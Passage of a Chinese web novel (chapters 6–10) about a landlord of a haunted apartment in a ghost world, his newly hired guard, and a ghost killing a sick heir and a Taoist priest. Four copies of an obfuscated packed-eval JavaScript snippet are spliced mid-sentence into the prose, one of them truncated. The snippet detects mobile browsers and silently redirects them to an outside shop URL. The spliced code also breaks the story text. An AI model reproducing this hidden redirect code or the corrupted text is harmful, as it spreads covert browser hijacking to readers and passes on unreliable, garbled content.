裴沉像被人猛击了一下头部,大脑一片空白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320970|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他张了张嘴,好半天才发出声音:“可是我有体温,有心跳,会困会饿——” 谢倦迟打断他,幽幽道:“谁说死后就不能有体温和心跳了,至于会困会饿,那是因为你在我的公寓里。” 裴沉:“......” 是了,在没来公寓前,他不困不饿不渴,没有半分生理需求。当时他还怀疑自己是不是被注射了什么药剂。 “你很幸运,要是没遇上我,你会变的。” “变什么?” “变诡。人死后会变成诡。有的快,有的慢。你现在还在过渡期,等过渡期结束,你就是它们中的一员。” “......所有人都会变成诡?” “也不一定。”谢倦迟说,“有些人会保持人形,有些人会变成那些你见过的玩意儿。取决于你怎么死的,死的时候什么状态,以及,你生前是什么人。” 裴沉茫然。 “那你呢?你在这里待了九年,那你......” 谢倦迟翻了个身,正对裴沉,似笑非笑:“我?你怎么就确定我不是诡?或许我是保持人形的诡呢。” 他没往下说。裴沉也没追问。 房间里再次安静下来。 阳光透过半拉的窗帘,在地上画出一道明亮的斜线。那道光落在两人之间,像一道分界线。 *** 公寓来了个保安。 看见贴在自己房间门后的公寓守则上多了几条新规,租客们有的好奇有的不在乎有的心里十分不平衡。 王翠华就是不平衡的那个。 她站在自己301号房间里,对着墙上新贴的公寓守则,脸黑得像锅底。 前略八条。 第九条:公寓现增设保安一名,租客如有纠纷,可向保安反映。 第十条:保安有权对违反守则的租客进行劝阻和登记。 第十一条:保安由房东直接管理,任何租客不得干扰其正常工作。 “保安保安保安。”王翠华咬着牙念了三遍,“凭什么!” 她在这住了三年,怎么的也算有情分了吧?不久前想牵头搞个居委会,都被谢倦迟否了。 现在呢? 随便来个诡,都能当保安,吃上‘公家饭’了!这让她的脸往哪搁? 王翠华越想越气,在屋里转了三圈,最后把门一摔,直奔十楼。 途中她脑子里转过一百种说辞。等电梯门打开,她已经把表情调整好了。 来到1000号房门口,她深吸一口气,举起手。那只手握成拳头,青筋都暴起来了,看架势是要猛捶,然而实际上真落下去,相当轻。 ‘叩叩叩’ 门很快打开。 谢倦迟靠在门上,垂眸看着只到自己胸口高的王翠华。 王翠华仰着头,脸上挤出笑。 “小谢啊,阿姨来问问你,你不是说咱们公寓不招员工吗?之前我想带头搞个居委会,你不干。现在怎么又收起保安了?”语气满是抱怨。 谢倦迟:“加上新来的,公寓现在总共也就六个租客,一层楼都住不满,我管你们绰绰有余,当然不需要招人。” 说到这,他顿了下,似笑非笑:“至于为什么招保安,你说呢?” 王翠华眼神飘忽了一下。 “那、那不一个性质吗。”她嘀咕道。 谢倦迟眯了眯眼。 “一个性质?你确定?保安是帮我收租的,你想搞的居委会......难道不是为了联合起来反抗我?” 王翠华的脸僵了一瞬,随即嚷嚷起来,声音尖利,透着一股欲盖弥彰的慌张:“没有这回事!你别乱说!我是好心想帮你!” 谢倦迟默默看着她,不语。 王翠华被看得浑身上下都不自在,像所有的谎话都摊在太阳底下晒着。 她嘀嘀咕咕地往后退。 “哎呀,你不愿意就不愿意嘛,干嘛说些冤枉人的话,真让人伤心,算了,不说了。” 退到电梯口,她停下来,回头看了谢倦迟一眼,对上谢倦迟幽暗的眼神,打了个哆嗦,心里暗骂了一声。 她迟早要掀翻暴君的暴.政! 还有那个保安,她得去看看是个什么角色,凭什么能当保安! 7. 第 7 章 警察制服没破,洗干净之后,还跟新的一样。 谢倦迟拎起来看了看,果断拍板,征用为保安制服。 别说,保安制服和警察制服款式很接近,互换着穿,不仔细看根本分辨不出来。 温馨提示:现实世界不行。穿公务员衣服违法。不过私底下穿穿可以,穿出来想干点什么事,那就另说了。 今天是裴沉第一天上班,也是他来到公寓的第二天。 昨天下午,谢倦迟带他把整栋楼走了一遍,挨个介绍了租客情况。裴沉一边听,一边记,这会儿站在三楼走廊里,脑子里过着相关信息。 三楼只住了一户。 301,王翠华,五十多岁的大妈形象。性格嘛......刻板印象里坏大妈有的特质她全有,诸如大嗓门,啰里啰嗦,阴阳怪气,喜欢揭短,看热闹不嫌事大等等。 能力十分充满槽点。 能力一:【这是俺拾勒】 顾名思义,她可以随便捡别人的东西,捡到了就归她。 放到现世,等于她捡到你的银行卡,你的卡就是她的了。卡号、密码、里面的钱,全是她的。 在诡异世界更狠,你的道具哪怕跟你签了契约,被她捡到,契约自动作废,东西归她。 能力二:【有本事你去叫派出所的把我抓了】 硬控目标三十秒。三十秒内,目标无法动弹,正所谓能跑能打能捡东西。 能力三:【哎哟!你撞到我了,赔钱】 强行转移目标所拥有的一件物品(可指定)。 ——老实说,谢倦迟馋王翠华的能力三馋的不得了。 综上所述,这些能力都挺拉仇恨的。 王翠华当年就是靠着这套组合拳,在紫雾区横行霸道了好几年,惹了不知道多少仇家。最后终于翻车,被一群诡围住,差点当场去世。 千钧一发之际,她脑子里响起一个声音:要不要租房?房东保证租客诡身安全。 王翠华答应了。 契约签订,传送启动。等王翠华睁开眼,诡已经在公寓里了。刚松气呢,扭头就看见窗外翻涌的黑雾。 王翠华眼前一黑,险些晕过去。 是以当谢倦迟来找她收第一个月房租的时候,她连问都没问,直接一口气交了100年的租金,生怕被赶出去。 ... ... 好抽象的能力。 半是羡慕半是好笑的摇了下头,确认三楼没有问题,裴沉转身准备上四楼,这时身后传来开门声。 “咦?”一道乐呵呵的声音响起,“没见过你呀?也没收到有新租客的消息......难不成,你就是新来的保安?” 裴沉回头。 301的门开着,一个圆滚滚的身影站在门口。短发,圆脸,笑得眼睛眯成两条缝。阳光从走廊窗户照进来,在她身上镀上一层暖洋洋的光边。 恍惚间,裴沉好像回到了现世。 就是普通的一天,阳光正好,楼下有小孩在跑,附近菜市场传来讨价还价的声音。面前的大妈,就像是那种会在小区里遛弯,跟人唠嗑,给你塞自家包的饺子的普通大妈。 中了魔般,裴沉抬脚想要过去。 【“永远不要相信诡异的话。诡话连篇。”】 平淡漠然的声音骤然在脑子里炸响,是谢倦迟的声音。 是了,谢倦迟昨天还特意提醒过他。 一个激灵,裴沉宛如从梦中惊醒,此时再看那个大妈,只觉寒毛直竖,脊背发凉。 他警惕起来,表面不动声色地点了下头,笑容适度态度挑不出错的回道:“是的,我是新来的保安,您叫我小裴就好。” 大妈笑得眼睛更弯了。 “小裴呀——好,好。”她上下打量裴沉,目光从裴沉脸上滑到身上,在那身警察制服上停了两秒,“小伙子精神,长得也端正。咱们这楼啊,是该有个保安了。” 说着,她往前凑了一步,“那个......小谢一个月给你开多少工资呀?” 裴沉往后退一步,笑容不变,“包吃住呢。” “只包吃住吗?”王翠华将裴沉警惕的反应尽收眼底,继续试探:“没了?” “我刚来,还在试用期。” “试用期——”王翠华拖长了音,“那可得好好干。小谢那人看着冷,其实心软,你好好干,再跟他说说讨巧的好话,他不会亏待你的。” “有什么不懂的,尽管来问阿姨。三楼就我一人儿,平时也闷得慌。” 裴沉:“好的,谢谢阿姨。” “行,那你忙吧,不耽误你工作了。”王翠华摆摆手,退回房间,只探出一颗脑袋盯着裴沉,脸上笑容加深,“有空来坐啊。” 有空来坐?他绝对不会来的。 跟鬼一样,吓死人了。 不对——本来就是诡。他也不是人。 苦笑的唏嘘了下,裴沉继续往上巡视。 接下来一切顺利。 一圈转完,裴沉回到自己房间。桌上放着一份合同,是谢倦迟昨天扔给他的。 裴沉拿起合同,又看了一遍。 【公寓保安聘用合同】 甲方:谢倦迟 乙方:裴沉 一、工作内容 1. 每日巡视公寓两次,一次白天,一次晚上。具体时间段由乙方自行选择。 2. 巡视内容包括但不限于:检查是否有租客捣乱、破坏公共设施、打架斗殴等影响公寓正常秩序的行为。 3. 收集租客反映的问题,整理后上报甲方。 4. 每月月底协助甲方收取房租。 二、工作时间 无固定上下班时间,完成每日巡视任务即可。其余时间乙方可自由安排。 三、待遇 1. 试用期:包吃包住。 2. 转正后:包吃包住。 3. 工资:无。 四、其他 本合同最终解释权归甲方所有。 ...... 这要是放在现世,一个人干五六个人的活,还没工资只管吃住,劳动局能直接上门把甲方抓进去。 但这不是现世,是诡异世界。 因此裴沉不但没意见,还很知足,甚至恨不得再多干点活,不然他坐不住,总觉得欠谢倦迟太多,浑身不自在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320971|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 得干点什么,得证明自己有用,得回报人家。 同一时间,谢倦迟在自己房间里打开通道,只见他抬手用食指在空中画了个弧形,一扇门出现。门后就是通道,通往诡异世界各个雾区。 他推开门走进去,身后门自动关上。 通道里黑得伸手不见五指,暗到让人分不清自己是睁着眼还是闭着眼,以至于让人觉得自己正在被什么东西慢慢吞噬。 谢倦迟往前走,轻车熟路的左转,直走,再右转,继续走。这条路他走过太多次,闭着眼也不会错。 你说上次?上次是意外,被黑雾里的东西看到了追着跑,才不小心跑到红雾区的。 途中无数呓语从四面八方涌来,像无数张嘴贴在耳边同时开口。有男有女,有老有少,有高有低,有尖有粗,混在一起,听不清在说什么,但能感觉到那些声音拼命想往脑子里钻。钻进去,搅一搅,再往外扯点什么。 伴随着粗重沉闷的呼吸声,像有巨兽趴在附近的黑暗里喘气。每一次呼吸都带着震动,让人不由得心生恐惧,联想到庞然大物。 谢倦迟却心静如水,属于是习以为常了。 这些动静他听了九年。一开始会怕,后来就不怕了,因为怕也没用。该走的路还得走,该死的躲不掉,不该死的也死不了。 大约二十分钟后,眼前豁然开朗。 满眼的紫。 谢倦迟站在通道出口,闭了闭眼,再睁开,紫雾淡了些。 好了,到地方了,第一要务,打劫。 第二要务,顺便找租客。 说到租客,谢倦迟其实一直没搞明白——这么多年下来,总共才住了六个租客,不是谢倦迟不想招租客。实际上,其中五个还是公寓自动签来的,只有一个是谢倦迟自己找的。 也不是谢倦迟只找了一个租客,谢倦迟真的很努力了,他询问了很多诡,有段时间天天在紫雾区转悠,看见诡就上去问:“租房吗?” 大部分诡看他像看傻子。少部分诡听完,扭头就跑。 只有一个,一个快死的胖子诡点头答应了。 签约成功。 之后就再没成功过第二次。 说来先前裴沉问谢倦迟公寓是不是他的能力,谢倦迟说“算是”,其实就是不确定。 毕竟从来没听说过谁的能力是自己无法完全掌控的。但谢倦迟的公寓,谢倦迟确实没法完全掌控。 它是听他的,保护他,给他穿梭通道......但它也是想签谁就签谁,想什么时候签就什么时候签,根本不跟谢倦迟商量。 所以谢倦迟有时候会想:这公寓是不是活的?只是选中了他当暂时的宿主。 这个念头谢倦迟想过很多次,也很快想开了。 没答案的事,想再多也没用。反正他现在活着,还能回现世,已经够本了。 至于以后,以后的事以后再说。 谢倦迟往前迈了一步,走进紫雾里。雾气在他身后翻涌,慢慢把通道出口遮住。 与此同时,紫雾区的诡怪们忽然莫名同步地哆嗦了下,后背炸开鸡皮疙瘩,心中冒出同一个疑问:“嘶,怎么有种不祥的预感?” 8. 第 8 章 “啊!那个家伙又来了!” 尖叫声撕裂紫雾。 “快跑!” 众诡四散而逃。有的掀开下水道井盖直接钻进去,有的冲回屋里把门窗死死关上,还有的往树上爬,爬到一半树枝断了,啪叽摔下来,腿都摔断了,硬是强撑着爬起来接着上树...... 乱成一锅粥了都。 其中有个最近新来的诡,不知道发生了什么,但见大家都跑,肯定有原因,于是它也跟着跑,一边跑一边问旁边的老诡: “那个家伙是谁?你们跑什么?” 老诡形象跟青蛙肖似,腿长手短,跑起来一蹦一蹦的,头也不回的道: “那家伙——哼,那家伙比死神还可怕。我怀疑是规则系的能力,逢诡就问‘要租房吗’,不管你答不答应,只要被他问到,十个诡里有七个接下来会出事,剩下三个也好不到哪儿去。” “什么?”新诡倒吸一口冷气,“恐怖如斯!没有诡反抗他吗?” “废话。有的话你看我们现在还这么害怕?” “嘶。”新诡眼珠子转了转,紧张的试问:“难道是红雾区的大人?” “谁知道呢,红雾区的大人咱们基本都认识,没听过他那号。哼,肯定是个阴险卑鄙的家伙。” “你干嘛夸他?”新诡瞪大眼睛,“难道你是......抖M?” 注:在诡异世界,阴险、卑鄙、无耻等词都是夸奖。 老诡愣了下,随即反应过来,脸涨成猪肝色:“你特么,你神经啊!我—— ” 下一秒,它的话卡在喉咙里。 只见面前闪出来一个人。 卫衣,连帽,牛仔裤,帆布鞋,手里握着一把锈迹斑斑的砍刀,彰显着已附魔。 你问附的什么魔? 都锈迹斑斑了,当然是破伤风魔了。 “啊啊啊啊啊啊!”老诡双手扶脸作出世界名画《呐喊》的一比一复刻姿势。同一时间,它的身体已经做出了最快的反应——转身,右腿迈开,弓步,左脚踮起,双手一前一后摆在身侧。 很经典的起跑姿势。 发力一蹬。 咵! 刀架在了脖子上。 老诡僵住,浑身发抖,豆大的汗珠从额头上滚落下来,砸在地上,洇出深色的痕迹。 “大大大大大大大大大哥......”它牙齿打颤,“别别别别杀我!我我我我我我我我我把钱都给你!” 旁边的新诡瞬间立正了,犹如被触发了DNA,下意识接道:“大大大大大大大大大哥别杀我,我我我我我我我我我啊——” 老诡一脚把它踹飞。 “你有病吧!”老诡气得面皮抽搐,“你接什么啊?显得你是二十G冲浪选手吗?你得意啥啊!” 新诡倒在地上,吐出一口血,颤巍巍抬起头:“对不起...我真忍不住...脑子还没反应过来,嘴已经张开了...”它喘了口气,“而且我就是在网上冲浪熬了两天夜猝死的,死前刷的那个视频,就是大哥别杀我...” 谢倦迟:“......” 这俩诡搞什么呢,讲相声吗?烂梗浓度也太高了,跟冬晚学的吧。 “你们先停一下。”谢倦迟说道。 老诡这才想起来旁边还站着尊煞神,脸上的表情一秒切换,从愤怒到谄媚,可谓是无缝衔接。 “您请说!”它点头哈腰,“有什么吩咐的,小弟一定上刀山下火海,无所畏惧!” “不至于。”谢倦迟把刀往下压了压,“就是问你,你要不要......” “不不不不不!”老诡吓得打断他,“我什么都不要!” 它太清楚接下来要听到什么了。那个词可不能听,听了就要出事。 “很便宜的。”谢倦迟说,“时间长的话,还能打折。” “真不用!” “可以提供保护诡身安全服务。” 老诡神情复杂地张了张嘴,想说什么,又咽回去。再张嘴,再咽回去。最后挤出一个要哭不哭要笑不笑的表情: “我、我应该不需要安全服务...我觉得现在挺好的...但是如果你觉得我需要,我就需要吧...” 谢倦迟心情大好。 没想到今天第一个就开张了,他本来只是想礼貌的问问,再出手打劫的。 手里凭空出现一份合同,上面的字是暗红色的,谢倦迟将合同递到老诡面前。 老诡哆哆嗦嗦接过来一看,眼珠子差点瞪出来。 “夺少?!”它惊得声音都劈叉了,“八百?!这不是要我的命吗!” “这已经是最低价了。”谢倦迟说,“之前都要一千的。” 他没说谎,之前确实要一千,但那价格不是他定的,是公寓定的。然而一千诡气谁听了都摇头,直言跟抢钱有什么区别。他好说歹说,跟公寓商量了好久,才降到八百。 “我没那么多诡气!”老诡崩溃了,“你就是把我骨髓榨干了也榨不出来啊!” 说着它腿一软,差点跪下,哽咽道:“我前段时间才给红雾区的马领主上供......真的没钱了啊!” 上供,说白了就是变相收保护费,在诡异世界,这种事太常见了。事实上,要不是谢倦迟有公寓,他也得是上供的一员。 “好吧。”谢倦迟看着老诡那双凸出来的金鱼眼里面哗哗往外淌泪,嫌弃地后退了一步,“没钱就算了,诡物也行。” “真没有了大哥!”老诡大哭,“我真的一滴都没有了啊!” 谢倦迟看着那张青蛙脸上全是眼泪鼻涕混在一起往下淌,往后退了第二步。 “行了行了,知道了。我又不是土匪,你不租就不租,我又不会把你怎样。” 老诡一愣,下意识想问“果真吗”,又怕问了谢倦迟反悔,憋住了。 “谢大哥不杀之恩。”它小心翼翼的说,然后轻轻推了推架在脖子上的那把刀,“那这个......” 谢倦迟低头看了一眼,把刀收回来。 “不好意思,条件反射——都怪你,你跑什么?” 老诡不敢怒也不敢言,脸上挤出笑:“呵呵,我爱跑步......” 谢倦迟上下打量它,青蛙一样的身体,又矮又壮,腿特长,刚才起跑的姿势标准得可以参加奥运会,绝对是专业的。 “以前是运动员?” 老诡怔愣了下,叹了口气,眼神里带上点沧桑:“唉,是呢。搞跳远和短跑的。” 放走老诡,还有个新诡。 谢倦迟转头看去。 新诡正趴在地上阴暗爬行,像一条搁浅的泥鳅,一点一点往远处蠕动,已经爬出去了一小段。 谢倦迟沉默了两秒,走过去,用脚踢了踢它。 “租房吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320972|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 新诡浑身一僵,而后慢慢翻转过身,仰面躺在地上,表情像吃了三斤黄连的扭曲。 “好吧。”它说,语气里透着认命的绝望,“我没招了。我服了。你动手吧。” 谢倦迟:“?” 新诡闭上眼,视死如归。等了好半天,没动静。 它睁开一只眼。 青年站在它面前,居高临下地俯视着它。逆着光,那张脸看不太清,但轮廓很立体,眉骨高,眼窝深,鼻梁挺直,下颌线清晰,眼皮微微压着,眼神是“你在搞什么”的冷淡。 那姿态——俯视众生,睥睨蝼蚁。 帅得有点不讲道理了。 新诡看呆了,脸上浮现出一抹诡异的红晕。 “哥哥。”它柔柔的开口,声音软得能掐出水,“你好帅哦。” 谢倦迟脸色微变,下一秒,他整个人消失在原地。 不是害羞的,是被恶心到了。 诡怪也有性别之分,而这只新诡,分明是个男的。 一天下来,努力了一天的谢倦迟回到公寓。 不出意外没有招到租客,钱也没抢到多少。 ——遇到的诡有一个算一个,全都穷得要死。不是兜里比脸干净,就是看见他就跑,跑得比兔子都快,有几个没跑掉的,被他拦住一问: “大哥,真没钱了!”一只瘦得皮包骨的诡跪在地上,眼泪哗哗的,“我们这片区原来的领主是兔领主,但兔领主被新来的马领主杀了,保护费直接涨200%!好多诡都跑了,我们没跑是因为跑不掉啊!” 它哭得撕心裂肺。 “呜呜呜我怎么这么命苦啊!” 谢倦迟听完,放它走了。 红雾区有六位领主,他皆略有耳闻。其中兔领主是最弱的,被干掉了不奇怪。 这也是他敢跑进兔领主管辖范围里闹腾的原因。 现在换了马领主,听起来很残暴,得打听打听,看看能不能招惹。 不过那是之后的事了,眼下有更重要的事。 谢倦迟站在自己房间里,闭上眼,在心里默念:【兑换三天现世时间。】 话音落下,今天打劫来的所有诡气瞬间清零。 三天应该够用了。 出发前,谢倦迟去找了裴沉。 “我有事要离开公寓两天或者三天,你帮我看着租客。你的实力肯定打不过他们,所以只需要你帮我记下有谁捣乱,有谁搞事,有谁破坏公物......等我回来告诉我。” 裴沉表示保证完成任务。 *** 蓝天白云,晴空万丈。 今天是个好天气,明媚的阳光将王家照得亮堂堂的,却驱不散笼罩在王家头顶的阴云。 王景明已经被接回了家中,这是王父请的大师的要求。 此时他躺在自己的卧室里,身上插满了管子,连着床边一堆仪器。两天过去,他又瘦了一圈,一副命不久矣的样子。 王母站在床边,眼睛肿得像核桃。 王父站在窗边,旁边站着一个老道士,头发花白,长须飘飘,道袍宽松,看着仙风道骨。但仔细看,其眉眼间藏着一丝阴翳,证明他绝不是表面上粗看起来的那般正气无害。 “大师。”王父开口,“接下来我们要怎么办?” 老道士顺了把自己的长胡子,抬眼看向窗外,“等天黑。” 9. 第 9 章 时间在王家夫妇的焦急等待中一分一秒过去。 终于,暮色降临。 又过了好一会儿。晚上八点,天彻底黑透。 王母再也忍不住了,焦急问道:“大师,天已经黑了,可以开始了吗?” 老道士掐指一算,沉吟片刻,缓缓开口:“那邪祟还没来,再等等。子夜之时阴气最重,想来它会在那时现身。” 王母张了张嘴,还想说什么,王父在旁边给她使了个眼色。她立即反应过来,把话咽回去,换成另一句:“时间已经很晚了,大师估计饿了,我去叫下人做些吃的。” 老道士矜持颔首:“多谢。” “应该的。”王母脸上挤出一点笑,“本来早该准备吃的,怪我救子心切,怠慢了大师,还请多多担待。” 老道士摆摆手,笑得和善:“夫人多虑了,为人父母,自是爱护孩子。况且贵丈夫已经支付了报酬,我也算是拿人钱财,替人消灾。” 王母闻言,心里踏实了一点。 不怕大师要东西,就怕大师不要东西。 “听闻道家讲究随心直率,看来大师也是个直性子之人。”她笑着捧了一句。 “夫人过誉。”老道士抚了抚长须,“修道之人,不过顺其自然罢了。” 王父在旁边接道:“大师谦虚了,能请到您这样的高人,是我们家的福分。” 老道士眯着眼笑,没再接话。 一顿饭吃得各怀心思。 吃饱喝足,时间很快来到十一点半。 子时已到,老道士还没动。 王父看看墙上的钟,又看看床上昏迷的儿子,终于憋不住出声:“大师——” 刚说出两个字,话还没说完,老道士的脸色忽然变了。 同一时间,屋子里的灯暗了下,伴随气温骤然下降。 好冷。 王母想说话,呼出的气在空中凝成一团白雾。她愣愣的看着那团白雾,还没反应过来。 “哐!” 窗户重重关上,像是被一只看不见的手猛地推了一把,砸进窗框里,震得玻璃嗡嗡响。 王母吓得一哆嗦,一把抓住丈夫的手臂。 “怎、怎么了?”她声音发抖,“是那什么来了吗?” 王父没说话。 他虽然信鬼神,但毕竟从来没见过,心里一直存着几分怀疑,直到现在,他完全信了。 “大师。”他看向老道士,喉结滚动,“要不要我们回避?” 老道士摇了摇头,手握拂尘,脸色凝重,但语气还稳得住:“不用,我能护住你......”们还没来得及说出口。 “嘻嘻。” 女人的笑声在房间里响起来。 老道士一挥拂尘,厉声喝道:“何方邪祟,竟敢如此嚣张,为祸人间!你现在收手,我还能饶你一命,不然——” 他顿了下,声如洪钟:“老道将你打得魂飞魄散!” 笑声停了。 房间里一下安静得只剩仪器嘀嘀的声音。 王父王母对视一眼,心里稍稍松了半口气。 怕了?怕了好,怕了就...... “第三个。” 女人的声音再次响起。 幽怨的,飘忽的,冰冷的。 话音刚落。 一股凉气从三人耳后吹过来。 王父王母同时回头。什么都没有。 再转回头,只见老道士飘在半空,脖子宛如被什么东西勒住,整个人悬空吊着,脚离地半米,两只手拼命扯着脖子,想把那根看不见的绳子扯开。但扯不开。 他的脸迅速胀红,然后发紫,眼珠子往外凸,嘴里发出“嗬嗬”的声音。 王母吓得腿一软,差点跪下去。 就在这时,床上传来一声痛苦的闷哼。 “呃......” 王景明眉头紧紧皱着,脸色苍白如纸,嘴唇动了动,像是在说什么,又像只是无意识的抽搐。 王母愣了下。 电光石火间,她脑子里的线接上了:儿子的重病和邪祟有关,大师是来对付邪祟的,现在大师情况不妙,那儿子...... 情急之下,顾不得害怕,她一咬牙,冲了上去,伸手去够大师的腿。然而养尊处优的她能有多大劲,根本帮不上什么忙,于是回头冲丈夫吼:“你看着干嘛?快来帮忙!” 王父犹豫了一秒。这一秒里,他看见老道士的脸从紫变成黑青,真的快要死了。 在心里骂了声,他不得不上去帮忙。 夫妻俩一起抱住老道士的腿,往上抬。 那股力量大得离谱,他们拼尽全力,也只不过让老道士的脖子松了半寸。但半寸够了,老道士终于能吸进一口气,嘴里开始念念有词。 他念得很快,又都是些晦涩的生僻词,根本听不懂。 最后几个字是吼出来的:“#$!神助我!” 话音落下,那股掐着他脖子的力量骤然断开。 老道士从半空掉下来,夫妻俩连忙扶住他,三个人摔成一团。 老道士脸色铁青,胸口剧烈起伏,大口喘气。此时,他脑子里只有一个念头:不对。 越强大的诡越难以降临人间,平常能在人间游荡的都是小诡,他随手就能收拾,但这个—— 刚才那一下,逼得他把压箱底的口诀都念出来了,那口诀用一次,寿命就短一截。 玛德。这笔生意亏大了。 他撑着站起来,拂尘一甩,稳住身形,开口道:“此邪祟怨气极重,不是普通的撞诡,是你们家孩子招惹的因果。我管不了。” 王母呆住。 “什么意思?”她声音尖起来,“怎么就管不了了?” 王父也急了:“大师,报酬我已经给你了,你也再三保证能解决,怎么临头了反悔?” 老道士脸上有些挂不住。 他能怎么说?说自己打不过?那不是砸自己招牌。 “你们家孩子做了什么,你们自己知道。”他沉着脸,丢下这句话。 不完全是推脱,他又没撒谎,那女诡身上确实缠着王景明的孽债。不出意外,是王景明直接或间接害死人家的,现在人家来报仇了。 至于还钱?还钱是不可能的,那是他的出场费。 老道士一改之前的嚣张气焰,换上一副好声好气的表情,拂尘搭在臂弯里,声音放缓:“是我之前眼拙,不知道你与此人有仇。现在看出来了,这是你们之间的恩怨,我不插手。我现在就走。” 王父难以置信:“大师?!” 老郑介绍的时候明明说这大师只要给钱,搞人的活都接...现在讲这些,绝对不是因为这个原因! 等等。不会是...... 王父想到什么,脸色刷地白了。 王母没想那么多,她已经急疯了,一把抓住老道士的道袍,指甲都快抠进布里。 “不行!”她尖声喊,“你不能不管!” 老道士脸皮抽了抽,用力扯回自己的衣服,没扯动。 “干什么你这疯婆娘!”他黑脸道,“快放手!” 争执间。 “嘀嘀!” 维持王景明生命的仪器忽然急促地响了两声,然后停了。 王母愣住,条件反射转头看向床上的儿子。 “不——”她松开老道士,扑过去,“景明!” 老道士趁这机会转身就跑,跑到门口,用力拉门。 拉不开。门像焊死在门框里,纹丝不动。 老道士慌了,双手一起拽,青筋暴起,拼尽全力,门还是纹丝不动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320973|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这时身后传来一阵响动,他回头看去。 床上瘦的皮包骨的王景明猛地睁开眼,那双眼睛瞪得极大,眼珠往上翻,只剩两团眼白,张着嘴,喉咙里发出“嗬嗬”的声音,下一秒:呕! 大口大口的鲜血喷出来,染红了被子,染红了床单,溅到王母脸上身上。血里混着暗红色的碎块,是内脏碎片。 接着身体抽搐了两下,不动了。 王母跪在床边,浑身是血,像一尊雕塑。她张着嘴,想叫,叫不出来。过了好几秒,一声尖叫才从嗓子眼里挤出来: “景明——!” 老道士没心思看她,转回头继续疯狂地拽门,突然,他僵住了,继而脑袋像被踩破的气球爆开。 鲜血、脑浆、碎骨、组织,喷得到处都是。无头的身体晃了晃,往前一栽,砸在地上。 女人的尖叫响彻房间,却传不到外面,硬是没有一个下人听见。 另一边。 谢倦迟站在小区门口,和保安商量。 “你让我进去吧。再不进去,就要出事了。” 保安是个年轻小伙子,身强力壮,往那儿一站像堵墙。他上下打量着面前的青年,高,瘦,长得像从杂志里走出来似的。 “你一不是里面的户主,二没有户主的证明,你就说里面有户人家要出事,你要进去。你觉得我可能放你进去吗?” 谢倦迟没吭声。 “就算你长得跟明星似的,我也不可能放你进去。”末了,小伙子礼貌的补了一句,“这是我的工作,希望你能理解。” 谢倦迟:“......” 首先,谢谢肯定他的相貌。 其次,他理解小伙子的工作。 最后,实在不行,他只能用点小手段潜入进去了。 思及此,他开口正想说好吧,打算换个地方翻墙进去,眼角余光忽然瞥见什么,偏头看去。 只见小区里面一栋别墅的楼顶冒出一股黑烟。 标重点:是烟,不是雾。 烟和雾不一样。烟是一缕一缕的,飘起来往上走;雾是一片一片的,弥漫开来。正如黑烟最多告诉你“此处有诡”,黑雾就完了个蛋了,大诡都怕。 至于这股烟......有些过于浓了,以至于像一根黑色的柱子。 没时间了。 谢倦迟默默往后退了两步。 保安见状松了口气,以为谢倦迟放弃了,就见谢倦迟忽然一个助跑,冲到围栏门前,单手一撑,翻了上去。 两米多高三米的门,人轻轻一跳上去了。 保安呆住,等反应过来,谢倦迟已经落地开跑了。 “喂!”保安拔腿就追,“你干嘛!快停下!” 他追,他逃,他插翅难......追。 谢倦迟一溜烟就把保安甩在了后面,距离还越拉越大。 确定是追不上的人,保安停下来,满脸不可置信。 他可是部队出来的。当年在部队,五公里负重跑他能进前三,现在追一个普通人,竟然追不上?这合理吗! 对,不合理,所以那人绝对有问题! 保安掏出对讲机呼唤同事:“呼叫呼叫,有人强闯小区,往东区跑了!” 与此同时。 谢倦迟抵达那栋冒着黑烟的别墅门前,两米多高的铁门,故技重施,他一撑一翻,又轻易翻了进去。 院子里几个打扫卫生的下人忽然看见一个人从天而降落在他们面前,都怔住了。 谢倦迟没理他们,径直冲进别墅。目标明确:黑烟是从二楼飘出来的。他沿着楼梯往上冲,走廊尽头有一扇门,门缝里透出隐隐的黑气。 他一脚踹开。 门砸在墙上,发出巨响。 ...... 还是来晚了。 10. 第 10 章 